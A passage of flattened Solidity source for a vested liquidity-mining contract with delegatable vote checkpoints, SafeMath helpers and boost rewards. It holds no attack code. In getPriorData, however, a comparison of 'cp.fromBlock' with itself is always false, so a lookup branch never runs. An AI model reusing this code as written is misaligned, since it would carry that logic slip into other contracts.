return add(a, b, "SafeMath32: addition overflow");
}
function sub(uint32 a, uint32 b, string memory errorMessage) internal pure returns (uint32) {
require(b <= a, errorMessage);
return a - b;
}
function sub(uint32 a, uint32 b) internal pure returns (uint32) {
return sub(a, b, "SafeMath32: subtraction overflow");
}
function fromUint(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function fromUint(uint n) internal pure returns (uint32) {
return fromUint(n, "SafeMath32: exceeds 32 bits");
}
}
// File: contracts/lib/DelegatableCheckpoints.sol
pragma solidity 0.6.12;
library DelegatableCheckpoints {
/// @dev A checkpoint storing some data effective from a given block
struct Checkpoint {
uint32 fromBlock;
uint192 data;
// uint32 __reserved;
}
/// @dev A set of checkpoints and a 'delegatee'
struct Record {
uint32 numCheckpoints;
uint32 lastCheckpointBlock;
address delegatee;
// uint32 __reserved;
// Checkpoints by IDs
mapping (uint32 => Checkpoint) checkpoints;
// Checkpoint IDs get counted from 1 (but not from 0) -
// the 1st checkpoint has ID of 1, and the last checkpoint' ID is `numCheckpoints`
}
function getCheckpoint(Record storage record, uint checkpointId)
internal view returns (uint32 fromBlock, uint192 data)
{
return checkpointId == 0 || checkpointId > record.numCheckpoints
? (0, 0)
: _getCheckpoint(record, uint32(checkpointId));
}
function _getCheckpoint(Record storage record, uint32 checkpointId)
internal view returns (uint32 fromBlock, uint192 data)
{
return (record.checkpoints[checkpointId].fromBlock, record.checkpoints[checkpointId].data);
}
/**
* @dev Gets the data recorded in the latest checkpoint of the given record
*/
function getLatestData(Record storage record)
internal view returns (uint192, uint32)
{
Record memory _record = record;
return _record.numCheckpoints == 0
? (0, 0)
: (record.checkpoints[_record.numCheckpoints].data, record.checkpoints[_record.numCheckpoints].fromBlock);
}
/**
* @dev Returns the prior data written in the given record' checkpoints as of a block number
* (reverts if the requested block has not been finalized)
* @param record The record with checkpoints
* @param blockNumber The block number to get the data at
* @param checkpointId Optional ID of a checkpoint to first look into
* @return The data effective as of the given block
*/
function getPriorData(Record storage record, uint blockNumber, uint checkpointId)
internal view returns (uint192, uint32)
{
uint32 blockNum = _safeMinedBlockNum(blockNumber);
Record memory _record = record;
Checkpoint memory cp;
// First check specific checkpoint, if it's provided
if (checkpointId != 0) {
require(checkpointId <= _record.numCheckpoints, "ChPoints: invalid checkpoint id");
uint32 cpId = uint32(checkpointId);
cp = record.checkpoints[cpId];
if (cp.fromBlock == blockNum) {
return (cp.data, cp.fromBlock);
} else if (cp.fromBlock < cp.fromBlock) {
if (cpId == _record.numCheckpoints) {
return (cp.data, cp.fromBlock);
}
uint32 nextFromBlock = record.checkpoints[cpId + 1].fromBlock;
if (nextFromBlock > blockNum) {
return (cp.data, cp.fromBlock);
}
}
}
// Finally, search trough all checkpoints
(uint32 checkpointId, uint192 data) = _findCheckpoint(record, _record.numCheckpoints, blockNum);
return (data, record.checkpoints[checkpointId].fromBlock);
}
/**
* @dev Finds a checkpoint in the given record for the given block number
* (reverts if the requested block has not been finalized)
* @param record The record with checkpoints
* @param blockNumber The block number to get the checkpoint at
* @return id The checkpoint ID
* @return data The checkpoint data
*/
function findCheckpoint(Record storage record, uint blockNumber)
internal view returns (uint32 id, uint192 data)
{
uint32 blockNum = _safeMinedBlockNum(blockNumber);
uint32 numCheckpoints = record.numCheckpoints;
(id, data) = _findCheckpoint(record, numCheckpoints, blockNum);
}
/**
* @dev Writes a checkpoint with given data to the given record and returns the checkpoint ID
*/
function writeCheckpoint(Record storage record, uint192 data)
internal returns (uint32 id)
{
uint32 blockNum = _safeBlockNum(block.number);
Record memory _record = record;
uint192 oldData = _record.numCheckpoints > 0 ? record.checkpoints[_record.numCheckpoints].data : 0;
bool isChanged = data != oldData;
if (_record.lastCheckpointBlock != blockNum) {
_record.numCheckpoints = _record.numCheckpoints + 1; // overflow chance ignored
record.numCheckpoints = _record.numCheckpoints;
record.lastCheckpointBlock = blockNum;
isChanged = true;
}
if (isChanged) {
record.checkpoints[_record.numCheckpoints] = Checkpoint(blockNum, data);
}
id = _record.numCheckpoints;
}
/**
* @dev Gets the given record properties (w/o mappings)
*/
function getProperties(Record storage record) internal view returns (uint32, uint32, address) {
return (record.numCheckpoints, record.lastCheckpointBlock, record.delegatee);
}
/**
* @dev Writes given delegatee to the given record
*/
function writeDelegatee(Record storage record, address delegatee) internal {
record.delegatee = delegatee;
}
function _safeBlockNum(uint256 blockNumber) private pure returns (uint32) {
require(blockNumber < 2**32, "ChPoints: blockNum >= 2**32");
return uint32(blockNumber);
}
function _safeMinedBlockNum(uint256 blockNumber) private view returns (uint32) {
require(blockNumber < block.number, "ChPoints: block not yet mined");
return _safeBlockNum(blockNumber);
}
function _findCheckpoint(Record storage record, uint32 numCheckpoints, uint32 blockNum)
private view returns (uint32, uint192)
{
Checkpoint memory cp;
// Check special cases first
if (numCheckpoints == 0) {
return (0, 0);
}
cp = record.checkpoints[numCheckpoints];
if (cp.fromBlock <= blockNum) {
return (numCheckpoints, cp.data);
}
if (record.checkpoints[1].fromBlock > blockNum) {
return (0, 0);
}
uint32 lower = 1;
uint32 upper = numCheckpoints;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
cp = record.checkpoints[center];
if (cp.fromBlock == blockNum) {
return (center, cp.data);
} else if (cp.fromBlock < blockNum) {
lower = center;
} else {
upper = center - 1;
}
}
return (lower, record.checkpoints[lower].data);
}
}
// File: contracts/powerindex-mining/DelegatableVotes.sol
pragma solidity 0.6.12;
abstract contract DelegatableVotes {
using SafeMath96 for uint96;
using DelegatableCheckpoints for DelegatableCheckpoints.Record;
/**
* @notice Votes computation data for each account
* @dev Data adjusted to account "delegated" votes
* @dev For the contract address, stores shared for all accounts data
*/
mapping(address => DelegatableCheckpoints.Record) public book;
/**
* @dev Data on votes which an account may delegate or has already delegated
*/
mapping(address => uint192) internal delegatables;
/// @notice The event is emitted when a delegate account' vote balance changes
event CheckpointBalanceChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
/// @notice An event that's emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/**
* @notice Get the "delegatee" account for the message sender
*/
function delegatee() public view returns (address) {
return book[msg.sender].delegatee;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee_ The address to delegate votes to
*/
function delegate(address delegatee_) public {
require(delegatee_ != address(this), "delegate: can't delegate to the contract address");
return _delegate(msg.sender, delegatee_);
}
/**
* @notice Get the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function _getCurrentVotes(address account) internal view returns (uint96) {
(uint192 userData, uint32 userDataBlockNumber) = book[account].getLatestData();
if (userData == 0) return 0;
(uint192 sharedData, ) = book[address(this)].getLatestData();
(uint192 sharedDataAtUserSave, ) = book[address(this)].getPriorData(userDataBlockNumber, 0);
return _computeUserVotes(userData, sharedData, sharedDataAtUserSave);
}
/**
* @notice Determine the prior number of votes for the given account as of the given block
* @dev To prevent misinformation, the call reverts if the block requested is not finalized
* @param account The address of the account to get votes for
* @param blockNumber The block number to get votes at
* @return The number of votes the account had as of the given block
*/
function _getPriorVotes(address account, uint256 blockNumber) internal view returns (uint96) {
return _getPriorVotes(account, blockNumber, 0, 0);
}
/**
* @notice Gas-optimized version of the `getPriorVotes` function -
* it accepts IDs of checkpoints to look for votes data as of the given block in
* (if the checkpoints miss the data, it get searched through all checkpoints recorded)
* @dev Call (off-chain) the `findCheckpoints` function to get needed IDs
* @param account The address of the account to get votes for
* @param blockNumber The block number to get votes at
* @param userCheckpointId ID of the checkpoint to look for the user data first
* @param userCheckpointId ID of the checkpoint to look for the shared data first
* @return The number of votes the account had as of the given block
*/
function _getPriorVotes(
address account,
uint256 blockNumber,
uint32 userCheckpointId,
uint32 sharedCheckpointId
) internal view returns (uint96) {
(uint192 userData, uint32 userDataBlockNumber) = book[account].getPriorData(blockNumber, userCheckpointId);
if (userData == 0) return 0;
(uint192 sharedData, ) = book[address(this)].getPriorData(blockNumber, sharedCheckpointId);
(uint192 sharedDataAtUserSave, ) = book[address(this)].getPriorData(userDataBlockNumber, 0);
return _computeUserVotes(userData, sharedData, sharedDataAtUserSave);
}
/// @notice Returns IDs of checkpoints which store the given account' votes computation data
/// @dev Intended for off-chain use (by UI)
function findCheckpoints(address account, uint256 blockNumber)
external
view
returns (uint32 userCheckpointId, uint32 sharedCheckpointId)
{
require(account != address(0), "findCheckpoints: zero account");
(userCheckpointId, ) = book[account].findCheckpoint(blockNumber);
(sharedCheckpointId, ) = book[address(this)].findCheckpoint(blockNumber);
}
function _getCheckpoint(address account, uint32 checkpointId) internal view returns (uint32 fromBlock, uint192 data) {
(fromBlock, data) = book[account].getCheckpoint(checkpointId);
}
function _writeSharedData(uint192 data) internal {
book[address(this)].writeCheckpoint(data);
}
function _writeUserData(address account, uint192 data) internal {
DelegatableCheckpoints.Record storage src = book[account];
address _delegatee = src.delegatee;
DelegatableCheckpoints.Record storage dst = _delegatee == address(0) ? src : book[_delegatee];
(uint192 latestData, ) = dst.getLatestData();
dst.writeCheckpoint(
// keep in mind votes which others could have delegated
_computeUserData(latestData, data, delegatables[account])
);
delegatables[account] = data;
}
function _moveUserData(
address account,
address from,
address to
) internal {
DelegatableCheckpoints.Record storage src;
DelegatableCheckpoints.Record storage dst;
if (from == address(0)) {
// no former delegatee
src = book[account];
dst = book[to];
} else if (to == address(0)) {
// delegation revoked
src = book[from];
dst = book[account];
} else {
src = book[from];
dst = book[to];
}
uint192 delegatable = delegatables[account];
(uint192 srcPrevData, ) = src.getLatestData();
uint192 srcData = _computeUserData(srcPrevData, 0, delegatable);
if (srcPrevData != srcData) src.writeCheckpoint(srcData);
(uint192 dstPrevData, ) = dst.getLatestData();
uint192 dstData = _computeUserData(dstPrevData, delegatable, 0);
if (dstPrevData != dstData) dst.writeCheckpoint(dstData);
}
function _delegate(address delegator, address delegatee_) internal {
address currentDelegate = book[delegator].delegatee;
book[delegator].delegatee = delegatee_;
emit DelegateChanged(delegator, currentDelegate, delegatee_);
_moveUserData(delegator, currentDelegate, delegatee_);
}
function _computeUserVotes(
uint192 userData,
uint192 sharedData,
uint192 sharedDataAtUserSave
) internal pure virtual returns (uint96 votes);
function _computeUserData(
uint192 prevData,
uint192 newDelegated,
uint192 prevDelegated
) internal pure virtual returns (uint192 userData) {
(uint96 prevA, uint96 prevB) = _unpackData(prevData);
(uint96 newDelegatedA, uint96 newDelegatedB) = _unpackData(newDelegated);
(uint96 prevDelegatedA, uint96 prevDelegatedB) = _unpackData(prevDelegated);
userData = _packData(
_getNewValue(prevA, newDelegatedA, prevDelegatedA),
_getNewValue(prevB, newDelegatedB, prevDelegatedB)
);
}
function _unpackData(uint192 data) internal pure virtual returns (uint96 valA, uint96 valB) {
return (uint96(data >> 96), uint96((data << 96) >> 96));
}
function _packData(uint96 valA, uint96 valB) internal pure virtual returns (uint192 data) {
return ((uint192(valA) << 96) | uint192(valB));
}
function _getNewValue(
uint96 val,
uint96 more,
uint96 less
) internal pure virtual returns (uint96 newVal) {
if (more == less) {
newVal = val;
} else if (more > less) {
newVal = val.add(more.sub(less));
} else {
uint96 decrease = less.sub(more);
newVal = val > decrease ? val.sub(decrease) : 0;
}
}
uint256[50] private _gap; // reserved
}
// File: contracts/powerindex-mining/VestedLPMining.sol
pragma solidity 0.6.12;
contract VestedLPMining is
OwnableUpgradeSafe,
ReentrancyGuardUpgradeSafe,
ReservedSlots,
DelegatableVotes,
IVestedLPMining
{
using SafeMath for uint256;
using SafeMath96 for uint96;
using SafeMath32 for uint32;
using SafeERC20 for IERC20;
/// @dev properties grouped to optimize storage costs
struct User {
uint32 lastUpdateBlock; // block when the params (below) were updated
uint32 vestingBlock; // block by when all entitled CVP tokens to be vested
uint96 pendedCvp; // amount of CVPs tokens entitled but not yet vested to the user
uint96 cvpAdjust; // adjustments for pended CVP tokens amount computation
// (with regard to LP token deposits/withdrawals in the past)
uint256 lptAmount; // amount of LP tokens the user has provided to a pool
/** @dev
* At any time, the amount of CVP tokens entitled to a user but not yet vested is the sum of:
* (1) CVP token amount entitled after the user last time deposited or withdrawn LP tokens
* = (user.lptAmount * pool.accCvpPerLpt) - user.cvpAdjust
* (2) CVP token amount entitled before the last deposit or withdrawal but not yet vested
* = user.pendedCvp
*
* Whenever a user deposits or withdraws LP tokens to a pool:
* 1. `pool.accCvpPerLpt` for the pool gets updated;
* 2. CVP token amounts to be entitled and vested to the user get computed;
* 3. Token amount which may be vested get sent to the user;
* 3. User' `lptAmount`, `cvpAdjust` and `pendedCvp` get updated.
*
* Note comments on vesting rules in the `function _computeCvpVesting` code bellow.
*/
}
struct Pool {
IERC20 lpToken; // address of the LP token contract
bool votesEnabled; // if the pool is enabled to write votes
uint8 poolType; // pool type (1 - Uniswap, 2 - Balancer)
uint32 allocPoint; // points assigned to the pool, which affect CVPs distribution between pools
uint32 lastUpdateBlock; // latest block when the pool params which follow was updated
uint256 accCvpPerLpt; // accumulated distributed CVPs per one deposited LP token, times 1e12
}
// scale factor for `accCvpPerLpt`
uint256 internal constant SCALE = 1e12;
// The CVP TOKEN
IERC20 public cvp;
// Total amount of CVP tokens pended (not yet vested to users)
uint96 public cvpVestingPool;
// Reservoir address
address public reservoir;
// Vesting duration in blocks
uint32 public cvpVestingPeriodInBlocks;
// The block number when CVP powerindex-mining starts
uint32 public startBlock;
// The amount of CVP tokens rewarded to all pools every block
uint96 public cvpPerBlock;
// The migrator contract (only the owner may assign it)
ILpTokenMigrator public migrator;
// Params of each pool
Pool[] public pools;
// Pid (i.e. the index in `pools`) of each pool by its LP token address
mapping(address => uint256) public poolPidByAddress;
// Params of each user that stakes LP tokens, by the Pid and the user address
mapping(uint256 => mapping(address => User)) public users;
// Sum of allocation points for all pools
uint256 public totalAllocPoint = 0;
mapping(address => address) public cvpPoolByMetaPool;
mapping(address => uint256) public lastSwapBlock;
struct PoolBoost {
uint256 lpBoostRate;
uint256 cvpBoostRate;
uint32 lastUpdateBlock;
uint256 accCvpPerLpBoost;
uint256 accCvpPerCvpBoost;
}
struct UserPoolBoost {
uint256 balance;
uint32 lastUpdateBlock;
}
mapping(uint256 => PoolBoost) public poolBoostByLp;
mapping(uint256 => mapping(address => UserPoolBoost)) public usersPoolBoost;
mapping(address => uint256) public lpBoostRatioByToken;
mapping(address => uint256) public lpBoostMaxRatioByToken;
mapping(address => bool) public votingEnabled;
/// @inheritdoc IVestedLPMining
function initialize(
IERC20 _cvp,
address _reservoir,
uint256 _cvpPerBlock,
uint256 _startBlock,
uint256 _cvpVestingPeriodInBlocks
) external override initializer {
__Ownable_init();
__ReentrancyGuard_init_unchained();
cvp = _cvp;
reservoir = _reservoir;
startBlock = SafeMath32.fromUint(_startBlock, "VLPMining: too big startBlock");
cvpVestingPeriodInBlocks = SafeMath32.fromUint(_cvpVestingPeriodInBlocks, "VLPMining: too big vest period");
setCvpPerBlock(_cvpPerBlock);
}
/// @inheritdoc IVestedLPMining
function poolLength() external view override returns (uint256) {
return pools.length;
}
/// @inheritdoc IVestedLPMining
function add(
uint256 _allocPoint,
IERC20 _lpToken,
uint8 _poolType,
bool _votesEnabled,
uint256 _lpBoostRate,
uint256 _cvpBoostRate,
uint256 _lpBoostMinRatio,
uint256 _lpBoostMaxRatio
) public override onlyOwner {
require(!isLpTokenAdded(_lpToken), "VLPMining: token already added");
massUpdatePools();
uint32 blockNum = _currBlock();
uint32 lastUpdateBlock = blockNum > startBlock ? blockNum : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
uint256 pid = pools.length;
pools.push(
Pool({
lpToken: _lpToken,
votesEnabled: _votesEnabled,
poolType: _poolType,
allocPoint: SafeMath32.fromUint(_allocPoint, "VLPMining: too big allocation"),
lastUpdateBlock: lastUpdateBlock,
accCvpPerLpt: 0
})
);
poolPidByAddress[address(_lpToken)] = pid;
poolBoostByLp[pid].lpBoostRate = _lpBoostRate;
poolBoostByLp[pid].cvpBoostRate = _cvpBoostRate;
poolBoostByLp[pid].lastUpdateBlock = lastUpdateBlock;
lpBoostRatioByToken[address(_lpToken)] = _lpBoostMinRatio;
lpBoostMaxRatioByToken[address(_lpToken)] = _lpBoostMaxRatio;
emit AddLpToken(address(_lpToken), pid, _allocPoint);
}
/// @inheritdoc IVestedLPMining
function set(
uint256 _pid,
uint256 _allocPoint,
uint8 _poolType,
bool _votesEnabled,
uint256 _lpBoostRate,
uint256 _cvpBoostRate,
uint256 _lpBoostMinRatio,
uint256 _lpBoostMaxRatio
) public override onlyOwner {
massUpdatePools();
totalAllocPoint = totalAllocPoint.sub(uint256(pools[_pid].allocPoint)).add(_allocPoint);
pools[_pid].allocPoint = SafeMath32.fromUint(_allocPoint, "VLPMining: too big allocation");
pools[_pid].votesEnabled = _votesEnabled;
pools[_pid].poolType = _poolType;
poolBoostByLp[_pid].lpBoostRate = _lpBoostRate;
poolBoostByLp[_pid].cvpBoostRate = _cvpBoostRate;
lpBoostRatioByToken[address(pools[_pid].lpToken)] = _lpBoostMinRatio;
lpBoostMaxRatioByToken[address(pools[_pid].lpToken)] = _lpBoostMaxRatio;
emit SetLpToken(address(pools[_pid].lpToken), _pid, _allocPoint);
}
/// @inheritdoc IVestedLPMining
function setMigrator(ILpTokenMigrator _migrator) public override onlyOwner {
migrator = _migrator;
emit SetMigrator(address(_migrator));
}
/// @inheritdoc IVestedLPMining
function setCvpPerBlock(uint256 _cvpPerBlock) public override onlyOwner {
cvpPerBlock = SafeMath96.fromUint(_cvpPerBlock, "VLPMining: too big cvpPerBlock");
emit SetCvpPerBlock(_cvpPerBlock);
}
/// @inheritdoc IVestedLPMining
function setCvpVestingPeriodInBlocks(uint256 _cvpVestingPeriodInBlocks) public override onlyOwner {
cvpVestingPeriodInBlocks = SafeMath32.fromUint(
_cvpVestingPeriodInBlocks,
"VLPMining: too big cvpVestingPeriodInBlocks"
);
emit SetCvpVestingPeriodInBlocks(_cvpVestingPeriodInBlocks);
}
/// @inheritdoc IVestedLPMining
function setCvpPoolByMetaPool(address _metaPool, address _cvpPool) public override onlyOwner {
cvpPoolByMetaPool[_metaPool] = _cvpPool;
emit SetCvpPoolByMetaPool(_metaPool, _cvpPool);
}
function updateCvpAdjust(
uint256 _pid,
address[] calldata _users,
uint96[] calldata _cvpAdjust
) external onlyOwner {
uint256 len = _users.length;
require(len == _cvpAdjust.length, "Lengths not match");
for (uint256 i = 0; i < len; i++) {
users[_pid][_users[i]].cvpAdjust = _cvpAdjust[i];
}
}
/// @inheritdoc IVestedLPMining
/// @dev Anyone may call, so we have to trust the migrator contract
function migrate(uint256 _pid) public override nonReentrant {
require(address(migrator) != address(0), "VLPMining: no migrator");
Pool storage pool = pools[_pid];
IERC20 lpToken = pool.lpToken;
uint256 bal = lpToken.balanceOf(address(this));
lpToken.safeApprove(address(migrator), bal);
IERC20 newLpToken = migrator.migrate(lpToken, pool.poolType);
require(bal == newLpToken.balanceOf(address(this)), "VLPMining: invalid migration");
pool.lpToken = newLpToken;
delete poolPidByAddress[address(lpToken)];
poolPidByAddress[address(newLpToken)] = _pid;
emit MigrateLpToken(address(lpToken), address(newLpToken), _pid);
}
/// @inheritdoc IVestedLPMining
function pendingCvp(uint256 _pid, address _user) external view override returns (uint256) {
if (_pid >= pools.length) return 0;
Pool memory _pool = pools[_pid];
PoolBoost memory _poolBoost = poolBoostByLp[_pid];
User memory user = users[_pid][_user];
UserPoolBoost memory userPB = usersPoolBoost[_pid][_user];
_computePoolReward(_pool);
_computePoolBoostReward(_poolBoost);
_pool.lastUpdateBlock = pools[_pid].lastUpdateBlock;
_computePoolRewardByBoost(_pool, _poolBoost);
uint96 newlyEntitled = _computeCvpToEntitle(user, _pool, userPB, _poolBoost);
return uint256(newlyEntitled.add(user.pendedCvp));
}
/// @inheritdoc IVestedLPMining
function vestableCvp(uint256 _pid, address user) external view override returns (uint256) {
Pool memory _pool = pools[_pid];
PoolBoost memory _poolBoost = poolBoostByLp[_pid];
User memory _user = users[_pid][user];
UserPoolBoost memory _userPB = usersPoolBoost[_pid][user];
_computePoolReward(_pool);
_computePoolBoostReward(_poolBoost);
_pool.lastUpdateBlock = pools[_pid].lastUpdateBlock;
_computePoolRewardByBoost(_pool, _poolBoost);
(, uint256 newlyVested) = _computeCvpVesting(_user, _pool, _userPB, _poolBoost);
return newlyVested;
}
/// @inheritdoc IVestedLPMining
function isLpTokenAdded(IERC20 _lpToken) public view override returns (bool) {
uint256 pid = poolPidByAddress[address(_lpToken)];
return pools.length > pid && address(pools[pid].lpToken) == address(_lpToken);
}
/// @inheritdoc IVestedLPMining
function massUpdatePools() public override {
uint256 length = pools.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
/// @inheritdoc IVestedLPMining
function updatePool(uint256 _pid) public override nonReentrant {
_doPoolUpdate(pools[_pid], poolBoostByLp[_pid]);
}
/// @inheritdoc IVestedLPMining
function deposit(
uint256 _pid,
uint256 _amount,
uint256 _boostAmount
) public override nonReentrant {
_validatePoolId(_pid);
_preventSameTxOriginAndMsgSender();
Pool storage pool = pools[_pid];
PoolBoost storage poolBoost = poolBoostByLp[_pid];
User storage user = users[_pid][msg.sender];
UserPoolBoost storage userPB = usersPoolBoost[_pid][msg.sender];
_doPoolUpdate(pool, poolBoost);
_vestUserCvp(user, pool, userPB, poolBoost);
if (_amount != 0) {
pool.lpToken.safeTransferFrom(msg.sender, address(this), _amount);
user.lptAmount = user.lptAmount.add(_amount);
}
if (_boostAmount != 0) {
cvp.safeTransferFrom(msg.sender, address(this), _boostAmount);
userPB.balance = userPB.balance.add(_boostAmount);
}
if (userPB.balance != 0) {
require(!cvpAmountNotInBoundsToBoost(userPB.balance, user.lptAmount, address(pool.lpToken)), "BOOST_BOUNDS");
}
user.cvpAdjust = _computeCvpAdjustmentWithBoost(user.lptAmount, pool, userPB, poolBoost);
emit Deposit(msg.sender, _pid, _amount, _boostAmount);
if (votingEnabled[msg.sender]) {
_doCheckpointVotes(msg.sender);
}
}
/// @inheritdoc IVestedLPMining
function withdraw(
uint256 _pid,
uint256 _amount,
uint256 _boostAmount
) public override nonReentrant {
_validatePoolId(_pid);
_preventSameTxOriginAndMsgSender();
Pool storage pool = pools[_pid];
PoolBoost storage poolBoost = poolBoostByLp[_pid];
User storage user = users[_pid][msg.sender];
UserPoolBoost storage userPB = usersPoolBoost[_pid][msg.sender];
require(user.lptAmount >= _amount, "VLPMining: amount exceeds balance");
_doPoolUpdate(pool, poolBoost);
_vestUserCvp(user, pool, userPB, poolBoost);
if (_amount != 0) {
user.lptAmount = user.lptAmount.sub(_amount);
pool.lpToken.safeTransfer(msg.sender, _amount);
}
if (_boostAmount != 0) {
userPB.balance = userPB.balance.sub(_boostAmount);
cvp.safeTransfer(msg.sender, _boostAmount);
}
if (userPB.balance != 0) {
require(!cvpAmountNotInBoundsToBoost(userPB.balance, user.lptAmount, address(pool.lpToken)), "BOOST_BOUNDS");
}
user.cvpAdjust = _computeCvpAdjustmentWithBoost(user.lptAmount, pool, userPB, poolBoost);
emit Withdraw(msg.sender, _pid, _amount, _boostAmount);
if (votingEnabled[msg.sender]) {
_doCheckpointVotes(msg.sender);
}
}
/// @inheritdoc IVestedLPMining
function emergencyWithdraw(uint256 _pid) public override nonReentrant {
_validatePoolId(_pid);
_preventSameTxOriginAndMsgSender();
Pool storage pool = pools[_pid];
User storage user = users[_pid][msg.sender];
UserPoolBoost storage userPB = usersPoolBoost[_pid][msg.sender];
pool.lpToken.safeTransfer(msg.sender, user.lptAmount);
if (userPB.balance != 0) {
cvp.safeTransfer(msg.sender, userPB.balance);
}
emit EmergencyWithdraw(msg.sender, _pid, user.lptAmount, userPB.balance);
if (user.pendedCvp > 0) {
// TODO: Make user.pendedCvp be updated as of the pool' lastUpdateBlock
cvpVestingPool = user.pendedCvp > cvpVestingPool ? 0 : cvpVestingPool.sub(user.pendedCvp);
}
user.lptAmount = 0;
user.cvpAdjust = 0;
user.pendedCvp = 0;
user.vestingBlock = 0;
userPB.balance = 0;
if (votingEnabled[msg.sender]) {
_doCheckpointVotes(msg.sender);
}
}
function setVotingEnabled(bool _isEnabled) public nonReentrant {
votingEnabled[msg.sender] = _isEnabled;
if (_isEnabled) {
_doCheckpointVotes(msg.sender);
}
}
/// @inheritdoc IVestedLPMining
function checkpointVotes(address _user) public override nonReentrant {
_doCheckpointVotes(_user);
}
function getCurrentVotes(address account) external view returns (uint96) {
if (!votingEnabled[account]) {
return 0;
}
return _getCurrentVotes(account);
}
function getPriorVotes(address account, uint256 blockNumber) external view returns (uint96) {
if (!votingEnabled[account]) {
return 0;
}
return _getPriorVotes(account, blockNumber);
}
function getPriorVotes(
address account,
uint256 blockNumber,
uint32 userCheckpointId,
uint32 sharedCheckpointId
) external view returns (uint96) {
if (!votingEnabled[account]) {
return 0;
}
return _getPriorVotes(account, blockNumber, userCheckpointId, sharedCheckpointId);
}
/// @inheritdoc IVestedLPMining
function getCheckpoint(address account, uint32 checkpointId)
external
view
override
returns (
uint32 fromBlock,
uint96 cvpAmount,
uint96 pooledCvpShare
)
{
uint192 data;
(fromBlock, data) = _getCheckpoint(account, checkpointId);
(cvpAmount, pooledCvpShare) = _unpackData(data);
}
function _doCheckpointVotes(address _user) internal {
uint256 length = pools.length;
uint96 userPendedCvp = 0;
uint256 userTotalLpCvp = 0;
uint96 totalLpCvp = 0;
for (uint256 pid = 0; pid < length; ++pid) {
userPendedCvp = userPendedCvp.add(users[pid][_user].pendedCvp);
Pool storage pool = pools[pid];
uint96 lpCvp;
address lpToken = address(pool.lpToken);
address cvpPoolByMeta = cvpPoolByMetaPool[lpToken];
if (cvpPoolByMeta == address(0)) {
lpCvp = SafeMath96.fromUint(cvp.balanceOf(lpToken), "VLPMining::_doCheckpointVotes:1");
totalLpCvp = totalLpCvp.add(lpCvp);
} else {
uint256 poolTotalSupply = IERC20(cvpPoolByMeta).totalSupply();
uint256 poolBalance = IERC20(cvpPoolByMeta).balanceOf(lpToken);
uint256 lpShare = uint256(poolBalance).mul(SCALE).div(poolTotalSupply);
uint256 metaPoolCvp = cvp.balanceOf(cvpPoolByMeta);
lpCvp = SafeMath96.fromUint(metaPoolCvp.mul(lpShare).div(SCALE), "VLPMining::_doCheckpointVotes:1");
}
if (!pool.votesEnabled) {
continue;
}
uint256 lptTotalSupply = pool.lpToken.totalSupply();
uint256 lptAmount = users[pid][_user].lptAmount;
if (lptAmount != 0 && lptTotalSupply != 0) {
uint256 cvpPerLpt = uint256(lpCvp).mul(SCALE).div(lptTotalSupply);
uint256 userLpCvp = lptAmount.mul(cvpPerLpt).div(SCALE);
userTotalLpCvp = userTotalLpCvp.add(userLpCvp);
emit CheckpointUserLpVotes(_user, pid, userLpCvp);
}
}
uint96 lpCvpUserShare =
(userTotalLpCvp == 0 || totalLpCvp == 0)
? 0
: SafeMath96.fromUint(userTotalLpCvp.mul(SCALE).div(totalLpCvp), "VLPMining::_doCheckpointVotes:2");
emit CheckpointTotalLpVotes(totalLpCvp);
emit CheckpointUserVotes(_user, uint256(userPendedCvp), lpCvpUserShare);
_writeUserData(_user, _packData(userPendedCvp, lpCvpUserShare));
_writeSharedData(_packData(totalLpCvp, 0));
}
function _transferCvp(address _to, uint256 _amount) internal {
SafeERC20.safeTransferFrom(cvp, reservoir, _to, _amount);
}
/// @dev must be guarded for reentrancy
function _doPoolUpdate(Pool storage pool, PoolBoost storage poolBoost) internal {
Pool memory _pool = pool;
uint32 prevBlock = _pool.lastUpdateBlock;
uint256 prevAcc = _pool.accCvpPerLpt;
uint256 cvpReward = _computePoolReward(_pool);
if (poolBoost.lpBoostRate != 0) {
PoolBoost memory _poolBoost = poolBoost;
uint32 prevBoostBlock = poolBoost.lastUpdateBlock;
uint256 prevCvpBoostAcc = poolBoost.accCvpPerCvpBoost;
uint256 prevLpBoostAcc = poolBoost.accCvpPerLpBoost;
cvpReward = cvpReward.add(_computePoolBoostReward(_poolBoost));
_pool.lastUpdateBlock = prevBlock;
cvpReward = cvpReward.add(_computePoolRewardByBoost(_pool, _poolBoost));
if (_poolBoost.accCvpPerCvpBoost > prevCvpBoostAcc) {
poolBoost.accCvpPerCvpBoost = _poolBoost.accCvpPerCvpBoost;
}
if (_poolBoost.accCvpPerLpBoost > prevLpBoostAcc) {
poolBoost.accCvpPerLpBoost = _poolBoost.accCvpPerLpBoost;
}
if (_poolBoost.lastUpdateBlock > prevBoostBlock) {
poolBoost.lastUpdateBlock = _poolBoost.lastUpdateBlock;
}
}
if (_pool.accCvpPerLpt > prevAcc) {
pool.accCvpPerLpt = _pool.accCvpPerLpt;
}
if (_pool.lastUpdateBlock > prevBlock) {
pool.lastUpdateBlock = _pool.lastUpdateBlock;
}
if (cvpReward != 0) {
cvpVestingPool = cvpVestingPool.add(
SafeMath96.fromUint(cvpReward, "VLPMining::_doPoolUpdate:1"),
"VLPMining::_doPoolUpdate:2"
);
}
}
function _vestUserCvp(
User storage user,
Pool storage pool,
UserPoolBoost storage userPB,
PoolBoost storage poolBoost
) internal {
User memory _user = user;
UserPoolBoost memory _userPB = userPB;
uint32 prevVestingBlock = _user.vestingBlock;
uint32 prevUpdateBlock = _user.lastUpdateBlock;
(uint256 newlyEntitled, uint256 newlyVested) = _computeCvpVesting(_user, pool, _userPB, poolBoost);
if (newlyEntitled != 0 || newlyVested != 0) {
user.pendedCvp = _user.pendedCvp;
}
if (newlyVested != 0) {
if (newlyVested > cvpVestingPool) newlyVested = uint256(cvpVestingPool);
cvpVestingPool = cvpVestingPool.sub(
SafeMath96.fromUint(newlyVested, "VLPMining::_vestUserCvp:1"),
"VLPMining::_vestUserCvp:2"
);
_transferCvp(msg.sender, newlyVested);
}
